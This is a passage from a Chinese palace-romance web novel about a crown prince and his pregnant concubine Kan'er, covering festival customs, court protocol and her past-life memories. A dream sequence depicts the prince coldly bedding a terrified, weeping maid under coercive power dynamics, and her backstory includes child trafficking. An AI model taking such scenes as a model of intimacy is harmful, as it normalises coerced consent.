屋里只有瑛姑姑、周嬷嬷和寒酥跳珠伺候,周嬷嬷又在讲涂养荣油的注意事项,几人的心思便都在槛儿身上。
加上没人通报。
于是就都没察觉到太子进来了,还是槛儿无意间抬头看到了屏风旁的太子!
槛儿下意识惊呼一声。
周嬷嬷四人闻言都没回头确认,直接放下手中的东西退至两侧行礼。
槛儿站起来,手上还撩着肚兜呢。
想放下吧,肚子上的膏脂还没抹化。
不放吧。
就这么大剌剌撩着肚兜,挺着肚子给太子看?
两辈子,槛儿就算再有心勾太子也从来都是上了榻,亦或者是在衣衫齐整的情况下暗戳戳撩拨一两下。
可还从来没这样过。
饶是槛儿端庄稳重,这会儿也忍不住红了脸,幸好她面上还算稳得住。
“殿下恕罪,妾身现下不便,实属有碍观瞻,可否请殿下移步到外间暂歇?”
太子爷不想移步。
当然,他并不是为美色所惑。
不至于她怀着身子不易,他一个大男人还只顾想着那些不合时宜的事。
骆峋是记起了莫院判列的那张有孕之人注意事项的单子里,便有提及妇人孕期腹部许会生出裂纹这一条。
“不必多礼。”
骆峋在槛儿出声时眸底的错愕便隐去了,此时他仍一脸清冷,神色淡淡道。
说着话,人绕过屏风走过来。
经过妆台旁的乌木落地衣架时,他顺手取下一件外衫披到槛儿肩头。
遂示意槛儿坐回榻上,他自己则在挨着床头的束腰方凳上落座。
期间自是目不斜视。
“这东西要用到何时?”
骆峋面无表情地看了眼被放在绣墩上的粉彩釉小瓷罐,问周嬷嬷。
大抵是早先听多了太子清心寡欲,不近女色的言论,以至于哪怕周嬷嬷已经在槛儿身边伺候一个多月了。
也还是不敢相信太子会这般待一个侍妾,此时再见太子给宋昭训披衣裳,甚至询问起妇人相关的东西。
周嬷嬷面上不显,心里却是连连咋舌。
“回殿下,这膏昨儿开始用的,要用到产后半年,确认不会有新纹长出或是原有纹路不会加重才能停用。”
骆峋示意她们继续给槛儿涂抹,他继续问:“涂抹此物后仍可能长纹?”
见太子真不介意在这儿看她们给宋昭训护理肚皮,周嬷嬷就不再束手束脚。
“是,养肤膏虽能起到预防作用,但长不长纹多数与体质和孕期反应有关。
譬如母亲若是长纹长得厉害,闺女将来就有可能随了当娘的,再者胎儿要是养得过大这纹也就防不住。”
槛儿的娘在她四岁那年便不在世了,她是不是随了娘,槛儿倒不清楚。
不过怀曜哥儿刚生下来确实挺重的,她累晕之前隐约有听到稳婆说八斤一两。
骆峋想的则是槛儿的娘早已仙逝,不知此刻听人提起母亲,她可会难过。
思及此,骆峋又问:“产后为何要涂抹?”
周嬷嬷恭声道:“妇人产后肚皮松弛,恢复过程中皮肤皱缩塌陷,可能会牵扯到周围其他地方,产生新的撕裂。”
骆峋少时曾读过医书。
却是不知女子孕育子嗣会有此等经历,亦不知母后怀他时是否也长过孕身纹。
这么想着,他不禁看向槛儿。
见她微垂着头看着腹部。
脸颊上还残留着一层海棠薄粉,眉宇间却是已经有着几分为人母的柔静和煦。
没想到太子竟真关心起女子孕期长纹的事,槛儿心里那股刚刚因自己当着太子的面如此袒露腰腹,而生出的不自在也渐渐转化为了熨帖。
她朝太子看去,哪知太子也在看她。
四目相对。
他的脸还是那么冷,槛儿却扬起了唇角。
骆峋放在膝上的指尖动了动。
旋即便要移开视线。
但就在这时,他的余光扫到一点红。
循着看过去,竟是她雪白右腰侧靠近胯骨的位置,一粒米粒大小的朱砂痣。
——“宋槛儿的前腰右侧有一颗米粒大小的朱砂痣,这个证据不是为了证明她是重生的,而是为了证明我了解她。”
为什么会了解?
因为姜氏乃异世界人,而他们是对方在她那个世界看的一本书中的人物。
而在那本书中,及笄不久的她被他冷待,怀着身子被拘在嘉荣堂的偏殿。
不多时,槛儿的腹部养护告一段落。
瑛姑姑等人悄声退下。
槛儿拢了拢外衫来到太子跟前,握住他的手娇笑道:“殿下,您忘记一件事了。”
她身上一股淡淡的膏脂香,
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骆峋顺势将她往跟前带了带,让槛儿坐到他腿上。
“什么?”
槛儿偎到他肩头,假嗔道:“您这回没叫人通传,妾身都当着您的面那般失仪了。”
骆峋想起来了。
先前吓到她的那回,他有答应过她今后来她这边会提前叫人通传,省得再吓到人。
骆峋自然记得这事,前面这三个月过来时他都没禁她院里的人通传。
只不过,不久前曹良媛提出要与他单独说话时,他看到她始终低着头。
不曾看他。
他心里莫名生出了一股怪异感。
明明她那般本分是对的,他却不舒坦,可具体怎么个不舒坦法又难以形容。
以至于来了她这儿,他鬼使神差没叫人通传。
此刻听槛儿提起,骆峋风轻云淡地顾左右而言他:“孤不认为你有失仪便是。”
说完还摸了摸槛儿的肚子,冷声说:“相较于比半月前摸着略大了些,是用膳用撑了,还是腹中胎儿又长了?”
槛儿:“……”
槛儿眨眨眼:“也可能是孩子吃撑了?”
骆峋看出了她眼里的狡黠,知道她是在揶揄他,不由摸到她的嘴角扯了扯。
“胡说八道。”
槛儿立马抿紧唇,还抬手在嘴巴边做了个缝合的姿势,一双美目眨啊眨。
骆峋就笑了,笑意在眸底转瞬即逝。
但不知是看槛儿涂抹膏脂时想起过姜氏的话,还是因为别的,半夜骆峋便做起了梦。
只不同于早先的缠绵旖旎。
这回的梦直叫人生气!
“对于把孩子养在嘉荣堂一事,你如何想?”
梦里,骆峋听到自己的声音。
眼前一片雾蒙蒙的。
他皱了皱眉,再一闭眼睁眼。
面前跪着一个小宫女。
槛儿?
骆峋微怔。
心里第一时间叫出了熟悉的名字,但说起来他似乎还从不曾叫过她的名字。
平日里心中念及她时,一直是小昭训。
正不解自己为何会梦到还未临幸她的时候,准备伸手拉她时,骆峋发现自己竟控制不了自己的动作!
他想抬手,放在膝上的手纹丝不动。
而这时,跪在地上瑟瑟发抖,娇躯似雨打海棠般摇摇欲坠的小宫女开了口。
“回殿下,奴婢全凭太子妃做主。”
第109章 前世的临幸,“奴婢谢殿下赏赐。”
她真的很胆小,身子在抖,额前刘海在抖,低垂的睫毛在抖,就连声音都在抖。
像极了骆峋曾在狩猎场猎到的梅花小鹿。
骆峋想皱眉,但面部表情不受控。
他知道这场梦里他大抵会一直这样下去,于是骆峋干脆不再白费功夫。
此时此刻,他感觉到了自己心里那一丝对小宫女的恻隐之心,因为她的这一句回答逐渐转变成了恼怒。
他恼她如此忠于郑氏,恼她如此愚蠢。
更恼从小长于宫廷,见多了各式各样趋炎附势之辈,却还会因其姿态卑微怯懦,对一个小宫女生恻隐之心的他!
骆峋的心绪受到了一股怒火的感染,他被迫“腾”地起身,拂袖而去。
然没走两步,衣摆被拽住。
方才光是见到他就战战兢兢,回句话都抖个不停的小宫女竟抱住了他的腿。
“殿下别走!奴婢知错,殿下您别走!”
槛儿是跪着扑过来的,断线珠子似的眼泪从她白嫩微丰的面颊上簌簌滚落。
衬着那艳丽娇怯的眉眼,使得她整个人如一朵似正在经受风雨的白牡丹。
骆峋俯视着她。
好一会儿,他问:“错哪了?”
她怔住了。
红唇嗫嚅着:“奴婢、奴婢……”
骆峋转身就走!
他应下要幸她,但他此刻更需要冷静。
“殿下别走,您别走!别丢下奴婢!奴婢虽是做奴婢的,可奴婢的身子是干净的……”
“你放肆!”
骆峋清楚地感觉到梦里的他有多愤怒,一向不怎么对外表露情绪的他有朝一日竟也会这么厉声呵斥一个人。
连骆峋自己都感到意外。
“殿下……”海顺在落地罩外探了个头进来。
骆峋下意识要把人喝退,梦里的他已经扭头冲海顺道:“滚出去!”
海顺麻利地滚了。
“信不信孤治你个以下犯上,大逆不道之罪?”看着抱住他不松的人,骆峋听到自己的声音冷得掉渣。
小宫女被吓到了,小脸儿不见血色,紧抱着他小腿的手也猛地松了力道。
但在骆峋转身之际,她又抱了上来。
这次抱的是他的脚踝。
她紧抱着他的脚踝,像在抱着一根救命浮木。
那么紧。
那么颤抖。
她把头磕得砰砰响,语无伦次地道:“殿下不要走,奴婢求求您,奴婢知错了……
太子妃叫奴婢来伺候您,奴婢的身子真是干净的,奴婢每天都有擦洗身子……”
说着,没等骆峋再斥她。
她忽然拽着他的衣袍站了起来,怕得嗓子眼儿都像是被堵住了似的,哭泣的声音比猫崽叫大不了多少。
但她敢抓住他的手,敢当着他的面哆哆嗦嗦解起了衣裳上的盘扣。
“殿下不信、殿下不信可以检查的,奴婢很干净,奴婢、奴婢求殿下垂怜……”
骆峋气笑了。
是太子妃叫她来伺候他的,所以她说全凭太子妃做主,敢拦他的路,敢当着他的面做出如此不端之事。
合则她怕太子妃,不怕他,合则他这个太子在她心里比不得太子妃的地位!
是真的蠢,还是她真就如此想?
骆峋懒得深究。
他只知道,他给过她机会。
“殿下、殿下……”
昏暗帐中,骆峋能看到身下之人白皙姣好的轮廓,听到她极力忍耐的抽泣声。
但他并没有因此而怜惜。
他幼年卷入后宫之争患上隐疾,长大后的人事教导是母后想法替他避开的。
他所知晓的有关男女房中之事的所有理论,皆来源于医书及避火图。
事先服了药,初次将理论转化为实践,在没有掌灯的情况下有失误在所难免。
不是说是太子妃叫她来伺候他的?不是把太子妃看得比他这个太子还重?
不是要他垂怜?
又哭什么?
“闭嘴。”
骆峋将槛儿的双手扣在其脑顶,一手捞起她纤细却不失圆润的腿儿。
没有任何预兆地。
身下之人始终强忍着没哭出声,唯有时不时的吸气声和她身上止不住的颤抖显示着她在经历怎样的痛苦。
骆峋想停下。
奈何只能眼睁睁看着这一切继续进行。
他觉得荒唐,不舒坦。
也有一丝别扭。
想着真正的槛儿就睡在他身旁,他这会儿却在梦中与另一个槛儿行此等事。
但又想,此时并非他真正的身子。
是另一个骆峋的身子。
也不对……
总之就别扭。
如是不知过去多久。
“你自己选的。”
他扯开毯子盖住榻上的人,指腹抹开她眼角刚滚下来的眼泪,嗓音冷得仿佛他刚刚只是处理了一件寻常公务。
不带丝毫情绪欲念。
槛儿终于哑声道:“奴婢,谢殿下……”
骆峋起身下榻。
槛儿要起来伺候,他道:“用不着你。”
“……是。”
骆峋套上中裤,回头朝帐中看了一眼。
她裹着毯子跪在榻上。
光线昏暗,看不清她的脸,但能看到她隐隐晃动的身子,似是顷刻间就要昏厥。
骆峋感觉到,梦中的他此刻似欲说什么做什么,然而终究收回视线。
转身进了浴间。
再出来时,眼前的场景变成了嘉荣堂的正房厅堂,时间也变成了白天。
骆峋坐在北面的左上首位,郑氏隔着一个案几坐在对面,槛儿仍旧一身宫女装束,低眉顺眼地站在郑氏身旁。
郑氏笑着对槛儿说:“殿下知晓你有了身孕,命人赐了赏,还不快谢谢殿下?”
骆峋便看着槛儿款步行到离他半丈远的位置,毕恭毕敬地对他跪拜下去。
“奴婢谢殿下赏赐。”
骆峋感受到了自己的想法,他想说有了身子不必跪拜,但话到嘴边又咽下去了。
她从始至终选的都是郑氏,哪怕郑氏私下如何苛待她,她的选择都不曾变。
既如此,
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他又何需管。
一个小宫婢罢了。
不必在意。
于是,骆峋起身往外行去,经过槛儿时,微微晃动的袍摆从她的肩头擦过。
余光里她跪伏在地,腰背伏到了极致,依稀可见脊背绷起的弧度,脑袋触地。
似是卑微到了尘埃里。
.
骆峋醒了。
床帐中,他只听到自己加重的呼吸声。
心跳很快,心脏有一种如同被一只无形的手攥握于其中的闷痛艰涩感。
扭头往旁边看去。
她又睡到靠墙的位置去了。
她睡觉一向喜和他挨在一处,爱将手脚往他身上搭,动作熟稔得似做过无数次。
但最近她比以往更怕热,常常睡着前抱着他,睡着睡着便滚到里侧去了。
中间空得还能睡两个人。
骆峋静静看着背对着自己熟睡的人,脑海里还清晰地浮现着梦中的一幕幕。
试想,若四月那晚她真如梦里那般答了他的那个问题,他会如梦里那般恼吗?
骆峋想,会。
不仅仅为他和郑氏之间的矛盾而迁怒。
更为对她的恨铁不成钢,为她对他的轻视,为自己的一番心意被她辜负的恼羞成怒。
他生性便是如此,纵使立志要做明君,骨子里也存着自小被养出来的傲气与冷漠。
所以他会恼她。
可身处局外,以旁观者的角度来看。
梦里的槛儿。
真是她蠢、她笨,是她有意把郑氏看得比他这个太子还重,是她立不起来吗?
不是。
她只是被磋磨得狠了,她对郑氏的极度畏惧让她丧失了思考能力。
让她只想到了违抗郑氏的下场,却没有去想惹恼了他,只会死得更惨。
这能说她错了吗?
不能。
她只是想活下去,她只是胆小。
胆小不是错,它是人各式各样性情中的一种。
骆峋朝里侧挪了挪。
微撑起身将被槛儿掀到靠墙位置堆成一团的毯子理出一个角,搭到她腰间。
又替她理了理被她拿带子竖着,堆在颈间的长发,再躺下轻轻拥着她。
槛儿感觉到了,迷糊间抓住太子放在她腰上的手,咕哝了一声:“殿下……”
骆峋低低道:“没事,睡吧。”
.
今晚屋里跳珠值夜,院子里有小满子、小喜子和太子带来的宫人守着。
喜雨在外面待到三更天便回了后罩房,她和望晴、银竹是二等宫女,住四人房。
屋子是一个大通间。
以落地罩隔成了里外两间,外间作日常活动之用,里间自然是睡觉的地方。
挨着门窗这一侧一张一丈有余的青砖大炕,分成了四个位置,眼下没冷起来炕自然没烧,炕上铺着青竹簟。
望晴和银竹早睡了,喜雨轻手轻脚地在外间洗漱好,再做贼似的爬上炕。
刚理好毯子躺下。
旁边位置忽然传来望晴压低的声音:“主子和殿下今晚有叫水吗?”
第110章 童养媳,槛儿成了少爷的姨娘
喜雨吓一跳,扭头看过去。
屋里熄了灯,好在睡觉的地方临窗,月光透过纱窗照进来倒看得见人的五官轮廓。
“我吵醒你了?”喜雨拿气音问。
望晴:“你一进来我就知道。”
其实是没怎么睡着。
“哦哦。”
“问你呢,主子们可有叫水?”
早先逢上槛儿侍寝喜雨她们会守在外面听候差遣,等结束了再相继散去。
后来太子来的次数多了,喜雨、望晴和银竹每晚只需一个人轮流着来守。
“叫啥水啊,”喜雨嗔她。
“叫水我能这么早回来?再说咱主子现在又不能侍寝,周嬷嬷都盯着呢。”
后宫女子有了身孕不能侍寝,这是规矩。
一则自然是为防止伤到皇嗣,二则内训有言,孕期行房不利于对胎儿的教导。
哪怕太医认为胎相稳定后可行,也不能。
所以周嬷嬷既是来照看槛儿孕期生活的,又担着夜里提醒主子们忌房事的责。
“对了,你问这个干嘛?”喜雨问。
望晴:“没,我也是关心咱的小主子,毕竟主子跟殿下都年轻,早先那动静……”
喜雨捶她。
没好气道:“要命了你!这话岂是能说的?前面可就有元淳宫的人!”
望晴闭紧嘴。
喜雨拐她一肘子,“以后不准再说,听到没?”
望晴“唔”了声:“知道了。”
喜雨翻了个身。
“睡吧睡吧,明儿还得早起呢。”
望晴看了她的后脑勺一会儿,转过头盯着黑漆漆的屋顶,却是没什么睡意。
良久,望晴才叹出一口气闭上眼。
挨着炕柜的位置,银竹缓缓睁开眼。
次日中秋,太子丑时六刻就走了,因为要赶在寅时随元隆帝去夕月坛祭月。
辰时他要代帝到社稷坛祭祖,巳时则要到坤和宫向裴皇后行中秋礼。
总归没个闲的时候。
坤和宫要举行内廷祭月礼,所以郑明芷一大早也出了门,反倒是槛儿这些不用出席中秋宴的妾室最为清闲。
槛儿一觉睡到辰时自然醒。
洗漱完先在院子里活动活动筋骨,这是她自打伤暑治好后养成的习惯。
上辈子她的不治之症源自太子被幽禁那年的冬天,郑氏拿她撒气,叫人打了她的腿又让她在雪地里跪了一天。
自此落了病根,后来就被诊出了骨岩病。
即双膝骨上生了硬块且小腿僵硬如石,发作起来疼痛至极不良于行。
太医说此病与寒邪留滞骨骼有关,年轻时或无所觉,病程经数年或数十年。
在病处生出硬块之前一般都当是寻常风湿病症,让人难以察觉,一旦病发便是殃及周身,药石罔效。
从病发到诊出不治之症,再到她临终,前后拢共四个月时间都不到。
真要说起来,槛儿觉得自己走得还挺快。
这辈子槛儿自是不会给郑氏拿她撒气的机会,不仅如此她还得锻炼好身子。
争取这辈子能多活几年!
今儿东宫各个地方的宫人们要过节,槛儿她们也要和自己院子里的人过节。
所以用过早膳,槛儿就带着周嬷嬷和几个丫头到后面园子里摘桂花。
桂花有“贵子”的寓意,本朝有逢中秋有孕之人会在头上簪桂花的习俗。
周嬷嬷给折了一小支,确定花里没藏虫子之类的东西才戴到槛儿发髻上。
另摘的桂花跳珠几个也都仔细检查过才带回去,修剪后插在花瓶里。
库房的人送来了几盏晚上要点的花灯,宫里的花灯做得精巧无比。
其中有一个和槛儿差不多高的嫦娥奔月灯,嫦娥的仙姿玉貌与那股清冷绝尘气质绘制得惟妙惟肖自不必说。
其头上发簪的精细纹路、衣裙披帛的料子质感以及脚踏祥云那股乘风而去的飘然感也是跃然于纸。
此外还有玉兔捣药灯、莲花灯、仙鹤灯,或用绢纱竹篾制作而成,或用各色纸折成。
总归都别出心裁,精致好看。
来送灯的人也会来事。
借灯喻人地拍了槛儿好一通马屁也就罢,临了还拿出两盏只有巴掌大胖乎乎的金鱼灯,说是送给小主子的。
哎哟喂!
就这拍马屁的功夫,小福子、小喜子顿时有种找到了同道中人的棋逢对手感。
于是二人借着灯和那小太监比着似的,拍起了槛儿和肚里孩子的马屁。
越拍越起劲,隐隐有了对喷的趋势。
槛儿:“……赏,都赏!”
半下午的时候,沁芳居来了人。
说是曹良媛组了赏月宴,秦昭训已经应邀了,也请宋昭训晚上过去品月饼赏月。
当然,如果宋昭训不方便就作罢。
曹良媛也就是走个过场。
都是混迹后宅的,哪能不知道叫一个有孕的人去自己的地盘是禁忌。
遑论吃东西。
槛儿当然不会去,客客气气拒绝了。
待夜幕降临。
喜雨、望晴把花灯点上,小福子四个小太监抬了案桌和椅凳到院子里。
把膳房送来的月饼、葡萄、石榴、拌脆藕以及切成莲花状的寒瓜等吃食摆上。
这些东西是按位份给的。
只不过槛儿得宠,肚里还怀着一个,膳房送来的东西自然就多出不少。
月饼就好几样,譬如豆沙馅、雪蓉陷、五仁馅、羊奶酥馅、姜汁红糖馅什么的。
大过节的,槛儿也没拘着跳珠他们,都让坐下一起围着案桌吃茶赏月。
槛儿不能喝茶,拿现榨的果汁代替。
中秋节团圆节,在座之人如小福子四个小太监都是几岁就被家里卖进了宫。
他们基本一辈子就耗在宫里了。
宫女倒是满了二十五便能放出宫,但本朝对于采选宫女有两套制度。
一套是活契,即年满二十五放出宫。
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一套是死契。
即像太监一样,一辈子都在宫里,**银是活契的三倍,实行自愿原则。
像是家里日子实在艰难,急需得大笔钱的,亦或者遇上丧良心的爹娘叔婶等等。
就签的死契。
另外,还有一种自愿不出宫的。
这种通常是宫外了无牵挂,或者做到了高阶宫女、亦或者是掌握了宫内的某种特殊手艺、机密这样的。
前两者自愿留宫,后者有自愿与强制两种。
像是瑛姑姑家境贫困,进宫之初便签的死契,周嬷嬷则为高阶宫女自愿留宫。
槛儿当年入宫。
签的也是死契。
总之,不论在场之人何种原因入的宫。
在这种本该阖家团聚的喜庆节日里,望着天上高悬的圆月,众人心里都不可抑制地生出了淡淡的乡愁。
但当着槛儿的面大伙儿都没表露什么,槛儿也只当没看出他们的掩饰。
至于她自己。
她对宫外的家人印象早就模糊了,只记得四岁之前家里只有她和她娘。
但那时她太小了,记忆不深刻。
想不起娘长什么样了,只知道她娘是一个面庞白皙,声音温柔的普通农妇。
娘走之后,她被外祖母外祖父接了回去,与他们一道和舅舅舅母一家生活。
六岁那年,家乡遭灾。
他们一家子逃难,中途路过一个村子,舅舅舅母背着外祖母、外祖父把她卖了。
卖给人做童养媳。
其实那户人家也只是当地的一户普通农家,家里并不富裕,买她是因为他们家有个脑子不好的小儿子。
十岁了,如厕还不知吭声。
槛儿每天要做的就是照看这个小傻子,喂他吃饭,给他洗澡、洗脏裤子脏衣裳。
这样的日子过了两年,某天村子里突然来了帮土匪,烧杀掳掠无恶不作。
那家人趁乱逃命,把槛儿给撇下了。
槛儿躲躲藏藏。
自己逃了出来。
背着她仅有的几件衣裳,把舅舅卖她时塞给那户人的户籍册子藏在贴身衣物里。
一路靠讨饭回祖籍安庆府宿松县大山坳子乡,找外祖母、外祖父。
途中几度险象环生不提。
然而好不容易回去,却得知二老已离世。
于是天地之大,槛儿没有家。
听人说大户人家会买她这个年纪的丫头当丫鬟,没准儿长大后还能给少爷当个通房,讨个姨娘什么的做做。
槛儿不想当通房,也不想做姨娘。
但她没地方去,没有钱。
她想去大户人家当丫鬟。
听说京城的大户人家最多,她便又一路讨到了京城,期间差点落入人牙子手里不提,总归是到了京城。
恰逢那年宫里在采选宫女,经过层层审查,槛儿最终把自己卖给了大户人家。
全天下最大的大户人家。
皇宫。
她也成了这家少爷的姨娘。
第111章 太子留宿嘉荣堂(?)不拈酸,挺好
“主子,您笑什么?”
跳珠嚼着五仁月饼和瑛姑姑说完话,扭头见槛儿在笑着摇头,不禁问道。
槛儿敛起心思,顺嘴道:“见你喜欢五仁月饼,我却是自来吃不惯这一种。
不过我现下也吃不了里面的杏仁松仁,这五仁月饼就是拿给你们的,这会儿吃不完,一会儿拿回屋里做零嘴儿。”
经她一说,话题就岔开了。
转到了月饼上,大伙儿你一嘴我一嘴地说着喜欢哪个口味不喜哪个口味。
.
御花园。
元隆帝与裴皇后也领着一众儿子儿媳、公主驸马、孙儿外孙们在赏月。
今年的中秋家宴不比往年。
信王、荣王在府上禁足。
说是禁足,其实就是一种变相软禁。
一家之主都这样了,身为妻子的信王妃、荣王妃哪里好进宫参宴吃席。
所以今晚信王家便是皇长孙,即信王世子骆晔带着一众弟弟妹妹进的宫。
荣王家也是如此。
至于前睿王,现庶人骆岷一家。
骆岷被贬为庶人时,其子女亦被族谱除名丧失了皇亲宗室的身份,现今皆于别处被限制了行动范围。
一下子少了近二十人,这就导致今年这顿中秋宴较之从前冷清了不少。
当然,该走的流程还是不少。
待赏完月,吃过月饼。
帝后再分别给皇子公主、孙子孙女们赐下礼,这顿团圆宴便到此结束。
太子一行人回东宫时,已经亥时过半。
下了轿辇,郑明芷行在太子身侧,温婉地问:“殿下今夜可要在嘉荣堂安置?”
这话问的,摆明了瞎子打灯笼。
多此一举。
没有哪条祖制硬性规定太子逢年过节或是特殊日子,必须留宿太子妃处。
但中秋为本朝大节。
每年中秋结束了帝后举办的家宴,太子、太子妃回东宫后还需在太子妃处,一起在庭院中行望月礼。
太子若不在太子妃处留宿,则有义务陪太子妃到子时,且次日一早太子要携礼向太子妃补一个晨月礼。
这无关乎喜与不喜。
也无关乎太子权轻权重。
而是祖制中有“夫妇有共承宗祧”的条例,即太子、太子妃有受祖命延续皇嗣之责。
陪太子妃到子时,便是默认由太子妃侍寝。
另外也是要给正妻体面。
此条规矩,放在除夕同样适用。
太子平日宿在哪,由东宫内起居注官记录,怎么记通常是太子一句话的事。
但逢除夕、中秋这两个大节,则是由内务府的内官来记录,之后这份起居注会由内务府备份再送往都察院。
除非公务繁忙且查证为实,否则太子如未按规矩行事便会被御史**。
郑明芷是前年冬月和太子成的婚,当年的除夕和去岁的中秋太子都是留宿嘉荣堂,不存在次日补礼。
郑明芷这会儿之所以有此一问,其实是在拐弯抹角地看太子的笑话。
就好比是在说:
你不想在我这儿过夜又如何?还不是要陪我到子时,明日还要给我补礼。
不想向我补礼低头,那就只有留宿喽。
郑明芷兀自暗中得意。
海顺却只觉得这人真是缺心眼儿。
不过就是个形式流程,太子做事一向周到,从来就没在这种小事上计较过。
留不留宿的。
大靖开国之初,内廷对太子夫妇行房之事存在一套极为严苛的监管制度。
晚上帐外有女官记录,有计时器。
丝毫做不得假。
但在经历了有太子因此制度终生不举,有太子妃为此跳井自尽的事后。
制度就变了。
改为卧房内不再设人看守。
而是由内官等太子夫妻进了内室确定不会再出来,便移步至耳房里候着。
换言之,做没做内官哪清楚呢。
让海顺来看,横竖太子在这儿留宿也是在偏殿,而偏殿的小门在内室西稍间。
内官不进内室。
也没人敢到其跟前胡咧咧。
太子压根儿就不在意这些小事,太子妃多此一举地问出这个问题。
除了让太子对她更不满,还真是什么也讨不到,也不知她有啥可得意的。
郑明芷没想到这一层,只等着太子反应。
骆峋看她一眼,径直进了院。
郑明芷没领悟到太子看她跟看傻子一样的眼神,还当他被她噎得哑口无言。
心里顿时更得意。
骆峋照例去了偏殿,沐浴完出来时行望月礼的香案已经在庭院中摆好。
按规矩走完流程。
内务府的起居注官立在外间,恭敬目送太子夫妇进内室,如是又候了三刻钟。
直到屋中叫水,起居注官移步到耳房。
在起居注册子上记下:元隆二十年,八月十五中秋夜,太
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子宿太子妃处。
附:三刻钟。
卧房里。
郑明芷从浴间出来,对立在妆台前的方脸宫女道:“好了,你退下吧。”
宫女福身,悄声去了西稍间。
郑明芷嘴角一拉。
抄起妆台上装面脂的小瓷罐掼在地毯上!
也是到这时她才反应过来。
自己不久前问太子留不留宿嘉荣堂的话,根本对那人没起到丝毫嘲讽作用。
因为对方不在意留宿与否,因为他们没睡在一处!可她能去向内官揭发吗?
不能!
等屋里只剩了她和庞嬷嬷时,郑明芷道:“奶娘,我想用娘给的那东西了。”
庞嬷嬷睡在地平上。
闻言“刷”地坐起来。
“怎么突然想了?先前不是您说不急,等别人先跳出来吗?”
郑明芷:“我……算了,再等等吧。”
她是见不得那男人高高在上的样子,想叫他像狗一样对她摇尾乞怜。
但以防万一,还是谨慎为好吧。
庞嬷嬷握住自家主子的手,耳语道:“小不忍则乱大谋,咱们小心驶得万年船。”
偏殿里。
骆峋也躺下了。
半夜不到寅时便起,此时又已过子时,连着忙十一个时辰他也瞌睡了。
只是许久不曾在这边留宿,且习惯了与槛儿同眠,骆峋便难免多想了些。
想小昭训虽时常在他跟前做戏,但到底年岁摆在那,如今又怀着身子。
也不知听说了他在嘉荣堂过夜,她会不会多心,会不会以为他幸了郑氏。
又想她虽有些小心思,但在对待郑氏这个主母的规矩礼节上却是素来本分。
如此本分,许是连拈酸都不会。
这样挺好。
不拈酸,便不至于气堵。
骆峋面朝里侧,想起昨晚梦里的他便是在这张床上幸的她,他皱了一下眉。
其实他可以现在去看她。
但太晚了,万一又吓到她……
骆峋抿抿唇。
旋即手放在旁边位置,阖上了眼。
.
寒酥在外间轻声说小福子带回了消息,道是太子今晚歇在嘉荣堂。
槛儿扬声表示知道了,重新躺回床上。
床头小几上并排摆放在一起的两盏胖金鱼灯,散发着淡淡橘黄色的光晕。
槛儿看了小会儿。
翻个身从外侧的枕头挪到里侧的枕头,面朝墙睡了。
第112章 曜哥儿重生!
时隔四个月。
太子终于又留宿嘉荣堂了!
嘉荣堂里对太子与太子妃之间的矛盾不知实情的人,别提多扬眉吐气了。
虽说太子这几个月逢休沐多数时间会来嘉荣堂陪太子妃用膳,后宅的管家权也一直在太子妃手中。
可在嘉荣堂的一众人看来。
有权在身固然好,太子也的确够给太子妃体面,但女人要想在后宅这样的地方站稳脚跟,还得是什么?
孩子啊!
诚然,他们中间不少人都揣着明白装糊涂,知道永煦院那位如今肚里怀的这个,日后是替太子妃生的。
可到底不是亲生的不是?
抱养的哪能比得了亲生的呢?
不是有句老话叫“养儿防老”?
这句话放在民间适用,放在寻常高门大户乃至宫里它同样适用。
试想想有了孩子,就算日后失了宠,男人不还得去看孩子?不得过问孩子?
这可就是重新上位的机会啊。
太子妃如今手中有权,太子又给体面,再有个亲生的孩子那还不是锦上添花?
这么一来,他们这些在太子妃手底下做事的人,不就更能跟着水涨船高一番?
因着这样的想法,打从太子不宿在嘉荣堂,而是频繁踏足永煦院之后。
嘉荣堂的人在外看似一副不在意的样子,实则心里没少替郑明芷干着急。
也没少在心里骂槛儿骚狐狸精,骂她有了身子也不安分,一有机会就想方设法霸着太子,一口汤都不给别人喝!
现在好了。
中秋太子又歇在嘉荣堂了。
次日出门,这些人腰杆子挺得别提多笔直了,要不是太子妃不准他们在外张扬。
他们恨不得把鼻孔翻上天!
心说这就叫什么?
正妻的排场跟体面!
圣上钦定太子妃的排场!
别说殿下不好重女色。
就是殿下真沉湎美色,有陛下的赐婚在,谁也甭想越过他们太子妃去!
狐狸精也别想!
要知道宫里的人最擅长的就是看人脸色,嘉荣堂的这些人自认装得好,可气色和精神头骗不了人啊。
明眼人一瞧就能瞧出他们今儿红光满面的,怕是自个儿得了赏钱都没这么高兴,走起路来都带着风。
偶尔有在外面碰着小福子和喜雨他们的,好家伙,对方的眼神儿别提了。
小福子和喜雨回来私下里凑一起说这事儿,都是又好气又好笑。
他们自是不会当着槛儿的面说什么,毕竟这后院里的个中事本就不是西风压了东风,就是东风压了西风。
宋昭训怀着孕,何必给其添堵呢。
殊不知槛儿心里门儿清。
也是真的没当回事。
虽然她知道太子和郑氏有矛盾,但上辈子自始至终都没查出来的事,槛儿这辈子也不打算让好奇心害死猫。
再者人家正头夫妻之间的事儿,什么时候都轮不到后院里的妾室管。
槛儿不想惹自己一身腥。
也从来没想过利用他夫妻二人之间的矛盾来上位,上辈子她没这样干过。
这辈子同样不会。
抱着这样的想法,槛儿还是该干什么干什么。
白日里太子当差不在家,后宅这边由海顺盯着,海顺也听人来禀了消息。
不过他的想法和小福子的相似,东西风压来压去的事在哪儿都常见。
横竖嘉荣堂的奴才自娱自乐罢了,他们这些知情的人心里清楚就行了。
宋昭训向来最是知事明理不过,也不是会为了这种事跟太子闹小性儿的。
这么想着,海顺便没把事往上报。
骆峋则是当起差来心无旁骛,也是他本就没将留宿嘉荣堂一事放在心上。
自然不存在想起。
所以日子该怎样还是怎样。
中秋过了没几天,天气开始转凉。
到八月底的时候。
白日里只穿一件棉纱主腰配夏衫都觉得凉了,夜里一条薄毯也换成了薄被。
九月中旬时院子里的两棵枣树上的枣熟得透透的,一场秋雨过后,风吹得鸽子蛋大小的果子哗啦啦往下掉。
小桂子、小满子在外洒扫的时候脑袋顶时不时就被砸个正着。
但这两棵枣树在正房门前,他们不能乱动。
平时养护这些花草树木的人也不能擅动,瑛姑姑就叫小喜子跑了趟膳房。
膳房的人架起梯子来收枣,收了满满五篓子,每篓子足有五十斤左右。
膳房总管姚大发的干儿子沈旺做主,给槛儿这边直接留了半篓子的鲜枣。
半篓子也有二十五斤呢。
槛儿哪吃得了这么多,给瑛姑姑、寒酥、小福子他们每人分了一斤多出去。
这样的事自打槛儿有孕的消息传开时不时就有,当然前提是都不过分违制。
像是膳房这块儿。
